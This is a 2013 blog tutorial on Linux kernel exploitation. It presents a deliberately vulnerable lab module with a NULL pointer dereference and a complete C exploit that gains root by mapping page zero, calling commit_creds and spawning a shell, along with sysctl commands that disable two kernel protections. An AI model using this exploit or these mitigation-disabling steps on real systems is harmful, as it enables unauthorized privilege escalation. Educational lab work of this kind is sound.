Saturday, June 29, 2013

Software flaw #4: NULL pointer dereference

Description of NULL pointer dereference can be found here and here.

For purposes of learning kernel exploitation techniques I've started project libdojang. It is simple framework (composed of kernel module & userspace library) that can aid process of understanding how the kernel exploitation works. It is work in progress and I plan to introduce new types of vulnerabilities into the module to learn new exploitation methods.

I will start from simplest case of NULL pointer dereference (direct call/jmp dereference).

Vulnerability

Kernel module from libdojang (snippet of module/dojang.c file):

[...]
else if(cmd == DOJANG_NULLDEREF_CALL) { [1]
struct Ops {
ssize_t (*do_it)(void);
};
static struct Ops *ops = NULL; [2]

printk(KERN_INFO "[dojang] DOJANG_NULLDEREF_CALL ioctl\n");
return ops->do_it(); [3]
}
[...]

Code responsible for processing DOJANG_NULLDEREF_CALL ioctl starts at [1]. At [2] Ops struct pointer that points to NULL is created. At [3] attempt to call do_it() using NULL pointer is made.

Exploit

File from libdojang (exploits/nullderef.c):

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <dojang.h>

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
__attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new)
__attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void *get_ksym(char *name) {
FILE *f = fopen("/proc/kallsyms", "rb");
char c, sym[512];
void *addr;
int ret;

while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
if (!strcmp(sym, name))
return addr;
return NULL;
}

void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}

int main()
{
void *res;

if(dojangInit() < 0) {
printf("[-] failed to initialize dojang.\n");
return 1;
}

prepare_kernel_cred = get_ksym("prepare_kernel_cred"); [1]
commit_creds = get_ksym("commit_creds");

if (!(prepare_kernel_cred && commit_creds)) {
fprintf(stderr, "Kernel symbols not found. "
"Is your kernel older than 2.6.29?\n");
return 1;
}

res = mmap(0, 4096, PROT_READ|PROT_WRITE, [2]
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if(res == MAP_FAILED) {
printf("failed to mmap 0 page\n");
return 1;
}

void (**fn)(void) = NULL; [3]

*fn = get_root;

// trigger null pointer dereference in kernel
dojangNullderefCall(); [4]

dojangClose();

if (!getuid()) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL); [5]
}

printf("Something went wrong\n");

return 0;
}

As we can see above the vulnerability is exploited by changing cred struct (it's a structure that keeps permissions a current task has - uid, gid and so on) for current process and then executing sh. In order to accomplish that the exploit looks for addresses of prepare_kernel_cred and commit_creds functions in /proc/kallsyms file at [1]; mmaps 0-page at [2] and drops function pointer to our get_root() function at NULL at [3]. Finnaly it triggers NULL pointer dereference [4] which invokes in kernel mode our get_root() function which changes our's process credentials. So executed shell at [5] has uid 0.

Limitations

1) In practice such simple cases are not exploitable anymore due to protections implemented in Linux kernel:
vm.mmap_min_addr
kernel.kptr_restrict

So make sure to turn these protections off when trying above exploit:

# sysctl vm.mmap_min_addr=0
# sysctl kernel.kptr_restrict=0

2) Works on x86 architecture only.

3) Kernel 2.6.29 or newer is required (older kernels doesn't support prepare_kernel_cred & commit_creds functions)

Mitigation

See the links above describing NULL pointer dereference vulnerability.